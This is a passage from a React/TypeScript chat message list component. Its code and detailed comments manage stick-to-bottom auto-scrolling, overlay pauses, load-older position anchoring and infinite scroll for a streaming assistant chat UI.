while any overlay in this thread is open, stop\n    // chasing the bottom (the same thing ChatGPT/Claude do once you interact\n    // with the transcript), then catch up on close if we were at the bottom\n    // when it opened. New content still renders — we simply stop scrolling to\n    // it, and the existing \"scroll to bottom\" affordance stays available.\n    const overlayOpenRef = useRef(false)\n    const wasAtBottomOnOpenRef = useRef(false)\n    const isAtBottomRef = useRef(isAtBottom)\n    isAtBottomRef.current = isAtBottom\n    const handleOverlayOpenChange = useCallback(\n      (hasOpenOverlay: boolean) => {\n        overlayOpenRef.current = hasOpenOverlay\n        if (hasOpenOverlay) {\n          wasAtBottomOnOpenRef.current = isAtBottomRef.current\n          // Cancel any in-flight spring so the thread settles immediately\n          // instead of drifting for another few hundred ms under the menu.\n          stopScroll()\n          return\n        }\n        // Closed again: resume only if the reader was pinned to the bottom\n        // before opening it. Someone who had scrolled up to read history keeps\n        // their position.\n        if (wasAtBottomOnOpenRef.current) {\n          void scrollToBottom({ animation: 'smooth' })\n        }\n      },\n      [scrollToBottom, stopScroll],\n    )\n\n    // ---- Prepend / load-more state (NOT owned by the library) --------\n    const sentinelRef = useRef<HTMLDivElement>(null)\n    const onLoadMoreRef = useRef(onLoadMore)\n    onLoadMoreRef.current = onLoadMore\n    const isFetchingRef = useRef(isFetchingNextPage)\n    isFetchingRef.current = isFetchingNextPage\n    // Fresh dialogId for the IntersectionObserver callback (its effect must\n    // not depend on `dialogId` or it would re-create on every dialog switch\n    // mid-stream; the ref keeps the snapshot's dialog tag current).\n    const dialogIdRef = useRef(dialogId)\n    dialogIdRef.current = dialogId\n\n    // ---- Bottom-follow intent (list-owned lock) ----------------------\n    // The library follows the bottom only while ITS OWN `isAtBottom` flag\n    // is true, and this list's layout loses that flag silently in two\n    // ways:\n    //\n    //  1. **The scroller's own box changes.** The library's\n    //     ResizeObserver watches `contentRef` (INSIDE the scroller) only.\n    //     The streaming loader unmounting and the host's source-chip row\n    //     mounting — both siblings BELOW the scroller (see render) —\n    //     change the scroller's `clientHeight`, which moves the bottom\n    //     without emitting anything the library can observe.\n    //  2. **Resize-induced scroll events read as a user gesture.**\n    //     Fetch-mode entity cards mount as a skeleton and settle to a\n    //     different height; a shrink clamps `scrollTop` down, and the\n    //     library's scroll handler can see that as a scroll-UP and\n    //     permanently escape the lock (its `resizeDifference` guard is a\n    //     `setTimeout(…, 1)` race, so this is intermittent).\n    //\n    // Either way the thread stops following mid-turn. It bites hardest on\n    // card-heavy answers — a slash-command listing (`/getting-started`)\n    // renders a dozen fetch-mode cards with cover images that keep\n    // resolving for SECONDS after the stream ends, so everything after\n    // the lock was lost lands below the fold.\n    //\n    // Fix: this list owns the INTENT. Sending a message (or opening a\n    // dialog) arms it; only a real user scroll-up gesture — or a\n    // top-anchored turn, which deliberately parks elsewhere — disarms it.\n    // While armed, ANY geometry change re-asserts `scrollToBottom`, and\n    // because that call also re-sets the library's `isAtBottom`, a lost\n    // lock self-heals instead of being permanent.\n    const followBottomRef = useRef(false)\n\n    // Drives the jump-to-bottom affordance. Derived from GEOMETRY, not\n    // from the library's `isAtBottom`: that flag is the one this list\n    // loses silently (see above), and a stale `true` would hide the\n    // button in exactly the situation it exists for. Threshold mirrors\n    // the library's own `STICK_TO_BOTTOM_OFFSET_PX`.\n    const [atBottom, setAtBottom] = useState(true)\n\n    // Tracks previous render state for explicit \"force-stick\" decisions\n    // (dialog change, first message, new user message). The library\n    // covers ongoing streaming; these are about INTENT transitions.\n    const prevRenderRef = useRef<{\n      dialogId: string | undefined\n      messageCount: number\n      lastMessageId: string | undefined\n    }>({ dialogId: undefined, messageCount: 0, lastMessageId: undefined })\n\n    // Geometry snapshot captured the instant the top sentinel triggers\n    // onLoadMore (BEFORE the older page lands), applied once when the taller\n    // content commits. Keyed on the LOAD LIFECYCLE, not `messages[0].id`: the\n    // history processor groups consecutive assistant turns into one bubble\n    // keyed by the group's LAST id, so an older page that is all continuation\n    // of the first bubble grows that bubble in place WITHOUT changing its id.\n    // An id-based anchor misses that growth and leaves the reader pinned at\n    // the top (and the still-visible sentinel never re-fires).\n    const loadOlderAnchorRef = useRef<{\n      dialogId: string | undefined\n      scrollHeight: number\n      scrollTop: number\n    } | null>(null)\n\n    // ---- Force-stick: dialog change / first-load / new user message --\n    useEffect(() => {\n      if (!autoScroll) return\n\n      const dialogChanged = dialogId !== prevRenderRef.current.dialogId\n      const prevCount = prevRenderRef.current.messageCount\n      const prevLastId = prevRenderRef.current.lastMessageId\n      const newCount = messages.length\n      const currentLastId = messages[messages.length - 1]?.id\n      prevRenderRef.current = { dialogId, messageCount: newCount, lastMessageId: currentLastId }\n\n      if (dialogChanged) {\n        // Opening a different chat — instant snap to bottom.\n        followBottomRef.current = true\n        void scrollToBottom({ animation: 'instant', ignoreEscapes: true })\n        return\n      }\n      if (newCount > 0 && prevCount === 0) {\n        // First message arrived in an empty chat — instant snap.\n        followBottomRef.current = true\n        void scrollToBottom({ animation: 'instant', ignoreEscapes: true })\n        return\n      }\n      if (newCount > prevCount) {\n        // Scan the new tail for any user-role message. Handles the\n        // coalesced-render case where optimistic-user + server-\n        // assistant land in the same diff (last is assistant, but a\n        // user message DID arrive). When the user just sent a\n        // message, they expect their bubble pinned to the bottom,\n        // regardless of where they were scrolled.\n        //\n        // The tail must be located via the previous LAST message id,\n        // not `slice(prevCount)`: when load-older PREPENDS a page,\n        // count grows but the new messages are at the HEAD —\n        // `slice(prevCount)` would return already-rendered tail\n        // messages (which contain user bubbles) and force-scroll the\n        // reader away from the older page they just loaded. With the\n        // id-based slice a pure prepend yields an empty tail → no\n        // scroll, and the prepend-anchoring effect below keeps their\n        // viewport position.\n        const prevLastIdx = prevLastId ? messages.findIndex((m) => m.id === prevLastId) : -1\n        const newSlice = prevLastIdx >= 0 ? messages.slice(prevLastIdx + 1) : messages.slice(prevCount)\n        const hasNewUser = newSlice.some((m) => m.role === 'user')\n        // An open overlay suppresses even this one: `ignoreEscapes` would yank\n        // the thread out from under it — and with it the follow intent, which\n        // would re-assert the jump on every later resize. A user who just sent\n        // a message with a menu open is rare; a menu jumping away mid-click is\n        // not worth it.\n        if (hasNewUser && !overlayOpenRef.current) {\n          // Arms the follow intent for the WHOLE turn: the answer's\n          // async growth (attachment images, streamed tokens, entity\n          // cards resolving out of their skeletons long after the\n          // stream ends) is re-asserted by the follow effect below.\n          // This replaces the old per-`<img>` `load`-handler hack —\n          // same defect class, but the ResizeObserver sees every\n          // source of growth, not just images present at send time.\n          followBottomRef.current = true\n          void scrollToBottom({ animation: 'instant', ignoreEscapes: true })\n        }\n        // Assistant-only new messages → the library's resize-watch\n        // already keeps the bottom locked when the user hasn't\n        // escaped. No explicit call needed; spring animation runs.\n      }\n    }, [autoScroll, messages, dialogId, scrollToBottom])\n\n    // ---- Follow the bottom while the intent is armed -----------------\n    // Installs once per mount (all deps are stable). See the\n    // `followBottomRef` comment above for WHY this exists.\n    useEffect(() => {\n      if (!autoScroll) return\n      const scroller = scrollRef.current\n      const content = contentRef.current\n      if (!scroller || !content) return\n\n      // Re-assert on ANY geometry change, WITH `ignoreEscapes` — because\n      // this list, not the library, owns the follow intent.\n      //\n      // Without the flag the re-assert is a no-op the moment the library's\n      // `escapedFromLock` is set, and it does NOT \"re-set isAtBottom\" the way\n      // this comment used to claim: `handleScroll` only clears the escape\n      // after a scroll it reads as DOWNWARD, and a gated animation never\n      // produces one. Since the escape is set by exactly the false positives\n      // this lock exists to survive — a resize clamping `scrollTop`, a\n      // wheel doing an inertial nudge — the thread followed the first\n      // message (those calls pass `ignoreEscapes: true`) and then silently\n      // stopped following for the rest of the session.\n      //\n      // Handing control back on a REAL gesture is `disarm()` below: wheel-up,\n      // ArrowUp/PageUp/Home, touch-drag down, and scrollbar drags. Those run\n      // before this and clear the intent, so an armed re-assert only ever\n      // fights the library's own heuristic, never the user.\n      //\n      // Cheap to call repeatedly — the library returns the in-flight\n      // promise when an animation with the same behaviour is running.\n      const measure = () => {\n        const distance = scroller.scrollHeight - scroller.scrollTop - scroller.clientHeight\n        setAtBottom(distance <= BOTTOM_THRESHOLD_PX)\n      }\n\n      const reassert = () => {\n        // `wait: true` + `duration` are NOT decoration — they are the library's\n        // COALESCING contract, and this call fires once per growth frame.\n        //\n        // Without `wait`, `scrollToBottom` opens with `state.animation =\n        // undefined` unconditionally, so the \"an animation with this behaviour\n        // is already running, return its promise\" check can never hit: every\n        // frame spawned ANOTHER independent spring chain, all of them stepping\n        // the same shared `state.velocity` / `state.accumulated`. They compound\n        // and fight, which is why a smooth re-assert misbehaved where an\n        // `instant` one (it just writes the target, so extra chains are\n        // idempotent) looked fine. With `wait: true` the animation survives,\n        // the identity check hits, and every later re-assert folds into the\n        // one chain already in flight.\n        //\n        // `duration` opens the retain window in which the chain refreshes\n        // `startTarget` from `calculatedTargetScrollTop` each frame — that is\n        // what makes ONE spring track a bottom that keeps moving, instead of\n        // finishing against the height the thread had when the call was made.\n        //\n        // `setIsAtBottom(true)` still runs on EVERY call, before the coalescing\n        // return, so a folded-in re-assert keeps doing the job it exists for:\n        // healing the library's lock after this list's layout silently loses it.\n        //\n        // Suppressed while a load-older fetch has an anchor pending: that\n        // prepend's growth belongs to the anchoring layout effect below, which\n        // is restoring the reader's position in the page they just loaded.\n        // Following it would drag them straight back to the live end and make\n        // paging through history impossible.\n        if (followBottomRef.current && !loadOlderAnchorRef.current) {\n          void scrollToBottom({\n            animation: 'smooth',\n            ignoreEscapes: true,\n            wait: true,\n            duration: FOLLOW_RETAIN_MS,\n          })\n        }\n        // Measured on every geometry change, follow armed or not: a\n        // sibling growing below the scroller moves the bottom without\n        // any scroll event, and the button has to notice.\n        measure()\n      }\n\n      const ro = new ResizeObserver(reassert)\n      ro.observe(content)   // tokens, entity cards, images\n      ro.observe(scroller)  // streaming loader / source chips below it\n\n      // GROWTH WATCH — the load-bearing one, because the ResizeObserver above\n      // is not reliable for this list.\n      //\n      // `content` is a SNAPSHOT taken when this effect installed, and the deps\n      // are all stable, so it is never refreshed. React swaps that node out\n      // (skeleton → thread, host re-layouts), after which the observer is\n      // holding a detached element and sees nothing at all. Observed symptom:\n      // the callback fires ONLY on a window resize — that is the scroller,\n      // whose own box does change — while streamed tokens grow the real\n      // content silently, and the thread never follows.\n      //\n      // A poll on `scrollHeight` sidesteps the whole question of WHICH node is\n      // live: it reads the scroller (always mounted, it owns the listeners)\n      // and reacts to growth from any source — tokens, images settling, cards\n      // resolving. Gated on the intent, so it costs one rAF-tick comparison\n      // per frame only while actually following, and stops the moment a\n      // gesture disarms.\n      let growthRaf = 0\n      let lastScrollHeight = scroller.scrollHeight\n      const watchGrowth = () => {\n        growthRaf = requestAnimationFrame(watchGrowth)\n\n        const height = scroller.scrollHeight\n        if (height === lastScrollHeight) return\n        lastScrollHeight = height\n        reassert()\n      }\n      growthRaf = requestAnimationFrame(watchGrowth)\n\n      // --- user-intent disarm ---------------------------------------\n      // Only a deliberate move AWAY from the bottom releases the lock.\n      // Resize-derived scroll events are NOT gestures, which is exactly\n      // the distinction the library's heuristic gets wrong.\n      const disarm = () => {\n        followBottomRef.current = false\n        // MUST cancel the in-flight spring too: an armed re-assert runs with\n        // `ignoreEscapes`, and the library pins `scrollTop` for the whole\n        // duration of such an animation — so clearing the intent alone would\n        // leave the user's gesture fighting a scroll they cannot win until it\n        // settles. `stopScroll` ends it on the spot, handing the scroller\n        // straight back.\n        stopScroll()\n      }\n      const onWheel = (e: WheelEvent) => {\n        if (e.deltaY < 0) disarm()\n      }\n      const onKeyDown = (e: KeyboardEvent) => {\n        if (e.key === 'ArrowUp' || e.key === 'PageUp' || e.key === 'Home') disarm()\n      }\n      let touchY: number | null = null\n      const onTouchStart = (e: TouchEvent) => {\n        touchY = e.touches[0]?.clientY ?? null\n      }\n      const onTouchMove = (e: TouchEvent) => {\n        const y = e.touches[0]?.clientY\n        if (y == null || touchY == null) return\n        if (y > touchY) disarm() // finger travels DOWN → content moves up\n        touchY = y\n      }\n      // Scrollbar drag emits neither wheel nor touch — a scrollTop\n      // DECREASE while the pointer is held down is the same intent.\n      //\n      // ALL pointer listeners are on `window`, deliberately. The scroller is a\n      // native `overflow-y-auto` div (OverlayScrollbars was reverted in #1512),\n      // so its native scrollbar IS part of `scroller` and a `pointerdown` on the\n      // thumb does reach it — but `window` is a safe superset that also survives\n      // any future host component (or a return to a custom-scrollbar library\n      // that renders the thumb OUTSIDE the viewport) without stranding\n      // `pointerDown` at `false` and reintroducing the yank-back-mid-drag bug.\n      //\n      // The POINTER listeners use CAPTURE phase, so the guarantee is structural\n      // rather than contingent on nothing between us and `window` ever calling\n      // `stopPropagation` on the pointer path.\n      //\n      // `blur` deliberately does NOT use capture. Focus events don't bubble\n      // but they DO capture, so a capture listener on `window` fires for\n      // EVERY element blur in the document (the focus-delegation idiom) —\n      // any focus change during a hold, e.g. the chat input blurring as the\n      // user presses down on the scrollbar, would clear `pointerDown` and\n      // re-open the very yank-back bug this block prevents. A TRUE window\n      // blur targets `window` itself, so an at-target (bubble-phase)\n      // listener still receives it: capture buys nothing and costs\n      // correctness. Verified in jsdom: descendant blur reaches the capture\n      // listener only; window blur reaches both.\n      //\n      // `pointerDown` must be cleared by every way a drag can END, not just\n      // `pointerup`: a button released OUTSIDE the window, or the tab losing\n      // focus mid-drag, delivers no `pointerup` at all and would leave the\n      // flag stuck true. From then on ANY resize-induced scrollTop clamp — a\n      // fetch-mode card settling from skeleton to a shorter height, i.e. the\n      // exact case this whole block exists for — reads as a scroll-up gesture\n      // and drops the lock. Same for merely HOLDING the button down (text\n      // selection) while a card shrinks. Hence `pointercancel` + window\n      // `blur`.\n      let pointerDown = false\n      let lastScrollTop = scroller.scrollTop\n      const onPointerDown = () => {\n        pointerDown = true\n      }\n      // A drag that RELEASES at the live end expresses the same intent as\n      // clicking jump-to-bottom. The scroll events during that drag can't\n      // re-arm (see the gate in `onScroll`), and releasing the button emits\n      // no further `scroll`, so the re-arm is evaluated once here, when the\n      // gesture is actually over.\n      const rearmIfAtBottom = () => {\n        if (followBottomRef.current) return\n        const distance = scroller.scrollHeight - scroller.scrollTop - scroller.clientHeight\n        if (distance <= BOTTOM_THRESHOLD_PX) followBottomRef.current = true\n      }\n      const endPointer = () => {\n        pointerDown = false\n        rearmIfAtBottom()\n      }\n      const onScroll = () => {\n        const st = scroller.scrollTop\n        if (pointerDown && st < lastScrollTop) disarm()\n        lastScrollTop = st\n        // Landing at the bottom by hand is the SAME expressed intent as\n        // clicking jump-to-bottom, so it re-arms a lock an earlier scroll-up\n        // released. Without it the thread sits at-bottom (button hidden,\n        // because `atBottom` is true) and then silently drifts away as the\n        // answer grows.\n        //\n        // Gated on the drag being OVER (`!pointerDown`). A mid-drag `scroll`\n        // is not a gesture that has ended, and a short scrollbar drag that\n        // starts at the live end stays inside the 70px band — so re-arming\n        // here would undo the `disarm()` two lines above on the very same\n        // event and yank the reader back down mid-drag. Releasing the button\n        // at the bottom still re-arms on the next scroll (or, if none\n        // follows, on the next deliberate return to the end).\n        if (\n          !pointerDown &&\n          !followBottomRef.current &&\n          scroller.scrollHeight - st - scroller.clientHeight <= BOTTOM_THRESHOLD_PX\n        ) {\n          followBottomRef.current = true\n        }\n        measure()\n      }\n      measure()\n\n      const winCapture = { capture: true, passive: true } as const\n\n      scroller.addEventListener('wheel', onWheel, { passive: true })\n      scroller.addEventListener('keydown', onKeyDown)\n      scroller.addEventListener('touchstart', onTouchStart, { passive: true })\n      scroller.addEventListener('touchmove', onTouchMove, { passive: true })\n      window.addEventListener('pointerdown', onPointerDown, winCapture)\n      scroller.addEventListener('scroll', onScroll, { passive: true })\n      window.addEventListener('pointerup', endPointer, winCapture)\n      window.addEventListener('pointercancel', endPointer, winCapture)\n      // Bubble phase, NOT capture — see the note above.\n      window.addEventListener('blur', endPointer, { passive: true })\n\n      return () => {\n        ro.disconnect()\n        cancelAnimationFrame(growthRaf)\n        scroller.removeEventListener('wheel', onWheel)\n        scroller.removeEventListener('keydown', onKeyDown)\n        scroller.removeEventListener('touchstart', onTouchStart)\n        scroller.removeEventListener('touchmove', onTouchMove)\n        // `capture` must match the add call or the listener is not removed.\n        window.removeEventListener('pointerdown', onPointerDown, { capture: true })\n        scroller.removeEventListener('scroll', onScroll)\n        window.removeEventListener('pointerup', endPointer, { capture: true })\n        window.removeEventListener('pointercancel', endPointer, { capture: true })\n        // Added WITHOUT capture — the remove must match.\n        window.removeEventListener('blur', endPointer)\n      }\n      // `isLoading` IS load-bearing here, even though the body never reads it.\n      // On the loading branch this component returns the skeleton, so\n      // `scrollRef.current` is null and the bail-out above fires. With all four\n      // other deps identity-stable (`autoScroll` plus three `[]`-memoized values\n      // from `useStickToBottom`), the effect then never ran again: no\n      // ResizeObserver, no wheel/touch/keyboard escape hatches, `atBottom` stuck\n      // at its initial `true` so the jump-to-bottom button could not render, and\n      // the follow lock never re-asserted — for the rest of the component's\n      // life. A `false → true → false` round trip (host loads another page or\n      // dialog) also swaps the scroller element, so the stale closure kept\n      // observing and listening on DETACHED nodes.\n    }, [autoScroll, scrollRef, contentRef, scrollToBottom, stopScroll, isLoading])\n\n    // ---- Passive-demo hard pin (pinBottom) ---------------------------\n    // Scripted in-page replays (the Fae/Mingo demos) have no human at the\n    // keyboard, so the newest streamed content must ALWAYS sit at the\n    // bottom. `useStickToBottom`'s smart follow only tracks while the\n    // viewer is \"at bottom\", which is unreliable for an assistant-only\n    // stream from a cold, non-bottom mount (the exact bug where the last\n    // reply landed below the fold). When `pinBottom` is set we snap the\n    // scroller to its full height — the SAME mechanism for BOTH demo\n    // surfaces, so Fae and Mingo behave 1:1.\n    //\n    // CRUCIAL: only re-pin when the content HEIGHT actually changed (a\n    // streamed token appended, or the conversation swapped/reset). A parent\n    // that recreates props on every render — EmbeddableChat in previewMode\n    // rebuilds its scripted state each render, churning the `messages` array\n    // identity — would otherwise fire this effect on every re-render and snap\n    // the scroller back to the bottom, trapping the visitor and blocking\n    // internal scroll (Mingo couldn't scroll while Fae, with stable memoized\n    // props, could). Skipping the pin when the height is UNCHANGED means an\n    // idle re-render leaves the scroller alone, so once the stream settles the\n    // visitor can scroll up in BOTH surfaces; a real growth (streaming) or a\n    // shrink (a new conversation) still re-pins to the fresh bottom.\n    // `useLayoutEffect` so the write lands before paint (no visible jump).\n    // Pair with `autoScroll={false}` so the library's spring doesn't fight.\n    const pinPrevHeightRef = useRef(0)\n    useLayoutEffect(() => {\n      if (!pinBottom) {\n        pinPrevHeightRef.current = 0\n        return\n      }\n      const el = scrollRef.current\n      if (!el) return\n      if (el.scrollHeight === pinPrevHeightRef.current) return\n      pinPrevHeightRef.current = el.scrollHeight\n      el.scrollTop = el.scrollHeight\n    }, [pinBottom, messages, isTyping, pendingApprovals, scrollRef])\n\n    // ---- Prepend anchoring (load-older) ------------------------------\n    // The library doesn't preserve user position when content grows ABOVE\n    // the viewport. We do: from the pre-load geometry snapshot (taken in the\n    // sentinel callback), add the height the list gained and re-pin scrollTop\n    // so the message the user was reading stays put. `useLayoutEffect` so the\n    // write lands before paint (no visible jump). Covers both a pure prepend\n    // (new ids on top) and a boundary-merge (first bubble grows in place) —\n    // it measures total height delta, not message identity.\n    useLayoutEffect(() => {\n      const el = scrollRef.current\n      const anchor = loadOlderAnchorRef.current\n      if (!el || !anchor) return\n      // Dialog switched out from under a pending load — abandon; the\n      // force-stick effect owns the new dialog's position.\n      if (anchor.dialogId !== dialogId) {\n        loadOlderAnchorRef.current = null\n        return\n      }\n      // Hold the anchor across the intermediate renders between firing\n      // onLoadMore and the older page committing (the isFetchingNextPage\n      // flip, and in some hosts a two-stage store update) — those don't grow\n      // the list. Apply on the first render where it actually grew taller,\n      // which is the prepend (new ids on top) or a boundary-merge (first\n      // bubble grew in place). Same-id boundary-merge is why this can't key\n      // on message count.\n      const addedHeight = el.scrollHeight - anchor.scrollHeight\n      if (addedHeight <= 0) return\n      loadOlderAnchorRef.current = null\n      el.scrollTop = anchor.scrollTop + addedHeight\n    }, [messages, dialogId, scrollRef])\n\n    // ---- Per-message scrollAnchor (server-driven) --------------------\n    // Server emits `scrollAnchor: 'top'` on the metadata leading frame\n    // for display-action answers; default tail behaviour is preserved\n    // for every other path that omits the field.\n    //\n    // Per-id memoized ref callbacks preserve callback identity across\n    // the token-streaming re-renders that React.memo lets through —\n    // a fresh closure each render would detach/reattach the ref on\n    // every commit and could race the useLayoutEffect's element lookup.\n    const messageElsRef = useRef<Map<string, HTMLElement>>(new Map())\n    const refCallbacksRef = useRef<Map<string, (el: HTMLElement | null) => void>>(new Map())\n\n    const getRegisterMessageEl = (id: string): (el: HTMLElement | null) => void => {\n      let cb = refCallbacksRef.current.get(id)\n      if (cb) return cb\n      cb = (el) => {\n        if (el) {\n          messageElsRef.current.set(id, el)\n        } else {\n          messageElsRef.current.delete(id)\n          refCallbacksRef.current.delete(id)\n        }\n      }\n      refCallbacksRef.current.set(id, cb)\n      return cb\n    }\n\n    // Lazy-init: seed ONLY messages whose content is populated. Persisted\n    // reload has full bodies → all ids seeded → no scroll-replay on cold\n    // paint. A fresh turn's empty assistant placeholder (appended by\n    // useChat before streaming) is intentionally excluded so the top-\n    // anchor effect can fire when its body lands.\n    const scrolledIdsRef = useRef<Set<string> | null>(null)\n    if (scrolledIdsRef.current === null) {\n      scrolledIdsRef.current = new Set(\n        messages.filter((m) => hasNonEmptyContent(m.content)).map((m) => m.id),\n      )\n    }\n\n    // Active async-growth watcher. Stored in a ref (NOT in the effect's\n    // cleanup) so subsequent `messages` mutations during the 2s settle\n    // window don't tear it down. Cleared only when a new top-anchor turn\n    // supersedes it, or on component unmount.\n    const anchorWatcherRef = useRef<AnchorWatcher | null>(null)\n\n    useLayoutEffect(() => {\n      if (!autoScroll) return\n      // Top-anchored display turns also move the ground — same guard.\n      if (overlayOpenRef.current) return\n      const last = messages[messages.length - 1]\n      if (!last || last.role !== 'assistant' || last.scrollAnchor !== SCROLL_ANCHOR.TOP) return\n      // Metadata frame arrives BEFORE body. Wait for content so we don't\n      // snap an empty bubble and burn the one-shot.\n      if (!hasNonEmptyContent(last.content)) return\n      const seen = scrolledIdsRef.current!\n      if (seen.has(last.id)) return\n      const node = messageElsRef.current.get(last.id)\n      const container = scrollRef.current\n      if (!node || !node.isConnected || !container) return\n      seen.add(last.id)\n      // `stopScroll` MUST precede scrollIntoView — the imperative scrollTop\n      // write is what the library's geometry tracker uses to flip\n      // `escapedFromLock`, so any in-flight scrollToBottom spring is\n      // first cancelled. The list-owned follow intent is released for the\n      // same reason: this turn deliberately parks at the message TOP, so\n      // its own async growth must NOT drag the reader to the bottom.\n      followBottomRef.current = false\n      stopScroll()\n      // Instant (not smooth): the markdown body contains async <img>\n      // children whose loads race a 300ms smooth animation and leave\n      // the viewport mid-article. Instant snap dodges the race; the\n      // ResizeObserver below re-anchors any post-snap growth.\n      node.scrollIntoView({ block: 'start' })\n\n      // Tear down any prior watcher (rapid back-to-back display turns).\n      disposeAnchorWatcher(anchorWatcherRef.current)\n      // Re-anchor on async growth for ~2s. Bail if the user scrolls\n      // meaningfully past the baseline so we don't fight their reading\n      // position. NOTE: the watcher lives in a ref, not in the effect's\n      // cleanup, so subsequent `messages` mutations during streaming\n      // don't kill it.\n      const baselineScrollTop = container.scrollTop\n      const ro = new ResizeObserver(() => {\n        if (!node.isConnected) {\n          ro.disconnect()\n          return\n        }\n        if (container.scrollTop > baselineScrollTop + 200) {\n          ro.disconnect()\n          return\n        }\n        node.scrollIntoView({ block: 'start' })\n      })\n      ro.observe(node)\n      const timer = setTimeout(() => {\n        ro.disconnect()\n        // Guard against nulling a successor watcher mid-flight.\n        if (anchorWatcherRef.current?.id === last.id) {\n          anchorWatcherRef.current = null\n        }\n      }, 2000)\n      anchorWatcherRef.current = { id: last.id, ro, timer }\n    }, [messages, autoScroll, stopScroll, scrollRef])\n\n    // Component-unmount cleanup for the active watcher.\n    useEffect(() => () => {\n      disposeAnchorWatcher(anchorWatcherRef.current)\n      anchorWatcherRef.current = null\n    }, [])\n\n    // ---- Load-more (infinite-scroll UP) ------------------------------\n    // Distinct from stick-to-bottom; uses its own IntersectionObserver\n    // on the top sentinel.\n    //\n    // `isFetchingNextPage` is in the deps so the observer is RE-CREATED when a\n    // fetch completes: IntersectionObserver fires no new callback while an\n    // element stays continuously intersecting, so after an older page lands\n    // with the sentinel still in view (small prepend, or rootMargin overlap)\n    // nothing would re-trigger until the user scrolled it out and back in.\n    // Re-observing re-evaluates the current intersection and fires again if\n    // the sentinel is still visible — load continues until it's pushed out.\n    useEffect(() => {\n      const scrollContainer = scrollRef.current\n      const sentinelElement = sentinelRef.current\n      if (!scrollContainer || !sentinelElement || !hasNextPage) return\n\n      const observer = new IntersectionObserver(\n        (entries) => {\n          const entry = entries[0]\n          if (!entry) return\n          if (entry.isIntersecting && !isFetchingRef.current) {\n            // Snapshot pre-load geometry so the prepend-anchoring layout\n            // effect can re-pin scrollTop once the taller content commits.\n            const el = scrollRef.current\n            if (el) {\n              loadOlderAnchorRef.current = {\n                dialogId: dialogIdRef.current,\n                scrollHeight: el.scrollHeight,\n                scrollTop: el.scrollTop,\n              }\n            }\n            onLoadMoreRef.current?.()\n          }\n        },\n        { root: scrollContainer, rootMargin: '200px', threshold: 0.1 },\n      )\n      observer.observe(sentinelElement)\n      return () => observer.disconnect()\n      // `isLoading` is load-bearing for the SAME reason as the follow effect and\n      // the imperative handle: the loading branch returns the skeleton, so both\n      // the scroller and the sentinel are unmounted and this effect bails at the\n      // guard above. Whether it ever ran again then depended on `hasNextPage`\n      // happening to flip in the same commit that cleared `isLoading` — true for\n      // a plain `useInfiniteQuery` (both derive from the first page landing),\n      // FALSE wherever `isLoading` is a composite that outlives the messages\n      // query (the ticket view ANDs in its dialog query). In that case\n      // `hasNextPage` went true while the skeleton was still up, the effect ran\n      // once against null refs, and nothing re-ran it afterwards: no\n      // IntersectionObserver was ever created and infinite-scroll-up was dead\n      // for the life of the component.\n    }, [hasNextPage, isFetchingNextPage, scrollRef, isLoading])\n\n    // Expose the scroll container ref to parents that need it (rare,\n    // but the existing public contract). Library's `scrollRef` is a\n    // MutableRefObject<HTMLElement> so we cast to the public type.\n    // `isLoading` for the same reason as the follow effect: on the loading\n    // branch `scrollRef.current` is null, and without it in the deps a parent\n    // that mounted this list while loading held `null` forever.\n    useImperativeHandle(ref, () => scrollRef.current as HTMLDivElement, [scrollRef, isLoading])\n\n    // Ref adapters — MEMOIZED, and declared above the early return so the hook\n    // order is unconditional (see CLAUDE.md rule 3).\n    //\n    // `useStickToBottom` treats these as ref callbacks: React invokes\n    // `ref(null)` then `ref(el)` whenever the callback IDENTITY changes, and the\n    // library responds by disconnecting its ResizeObserver and building a fresh\n    // one (plus removing/re-adding its scroll and wheel listeners). A plain arrow\n    // per render therefore churned all of that on EVERY committed frame — one per\n    // batched delta flush, so ~60/s while streaming — and, because the rebuild\n    // resets the library's `previousHeight` to undefined, it permanently pinned\n    // the library to its `initial` animation and never used `resize`, inverting\n    // the policy configured above.\n    //\n    // The library types its refs against `HTMLElement` (broader than\n    // `HTMLDivElement`) and `MutableRefObject` is INVARIANT in its type\n    // parameter, so a direct assignment into the JSX `Ref<HTMLDivElement>` slot\n    // fails type-check; a callback is contravariant in its argument, so this\n    // adapter type-checks AND preserves the library's mount bookkeeping (the\n    // intersection `MutableRefObject<T> & RefCallback<T>` means calling\n    // `scrollRef(el)` both writes `scrollRef.current` and runs that bookkeeping).\n    // The explicit `: void` return is required too: the library's signature\n    // returns `void | (() => void)` (React 19's optional ref-cleanup contract),\n    // which the hub's React types reject in a `Ref<T>` slot.\n    const setScrollRef = useCallback(\n      (el: HTMLDivElement | null): void => {\n        scrollRef(el)\n      },\n      [scrollRef],\n    )\n    const setContentRef = useCallback(\n      (el: HTMLDivElement | null): void => {\n        contentRef(el)\n      },\n      [contentRef],\n    )\n\n    if (isLoading) {\n      return (\n        <ChatMessageListSkeleton\n          className={className}\n          showAvatars={showAvatars}\n          fullWidth={fullWidth}\n          contentClassName={contentClassName}\n          messageCount={6}\n        />\n      )\n    }\n\n    // Footer-pinned streaming loader. Rendered OUTSIDE the scroller (a\n    // sibling of the scroll div, like the sticky approvals below) so it\n    // stays put while messages stream and grow — no jitter from the\n    // last-message height changing under it.\n    //\n    // Hidden when the agent is actually PAUSED waiting on the user: the\n    // last message's last segment is a pending approval (inline), or\n    // there are escalated pending approvals shown in the sticky bar.\n    const lastMessage = messages[messages.length - 1]\n    const lastSegments = Array.isArray(lastMessage?.content) ? lastMessage.content : null\n    const lastSegment = lastSegments?.[lastSegments.length - 1]\n    const isPausedOnApproval =\n      !!lastSegment &&\n      (lastSegment.type === 'approval_request' ||\n        lastSegment.type === 'approval_batch' ||\n        lastSegment.type === 'escalation_offer') &&\n      (lastSegment.status === undefined || lastSegment.status === 'pending')\n    const showStreamingLoader =\n      isTyping &&\n      !isPausedOnApproval &&\n      !(pendingApprovals && pendingApprovals.length > 0)\n\n    return (\n      <OverlayOpenRegistryProvider onOpenChange={handleOverlayOpenChange}>\n      <div className=\"flex-1 min-h-0 flex flex-col\">\n        {/* Positioning box for the jump-to-bottom button: it wraps ONLY the\n            scroller, so `absolute bottom-…` really is the scroller's lower\n            edge. The outer flex column also holds the streaming loader and the\n            approvals bar, and anchoring against THAT box put the button over\n            the loader for the whole of every stream — precisely when it is\n            most likely to be visible. */}\n        <div className=\"relative flex-1 min-h-0 flex flex-col\">\n          <div\n            ref={setScrollRef}\n            className={cn(\n              \"flex h-full w-full flex-col overflow-y-auto overflow-x-hidden flex-1\",\n              // `overscroll-contain` (default ON, opt-out via `overscrollContain={false}`):\n              // reaching the top/bottom of the thread must NOT chain the wheel/\n              // touch scroll to the page behind the chat — 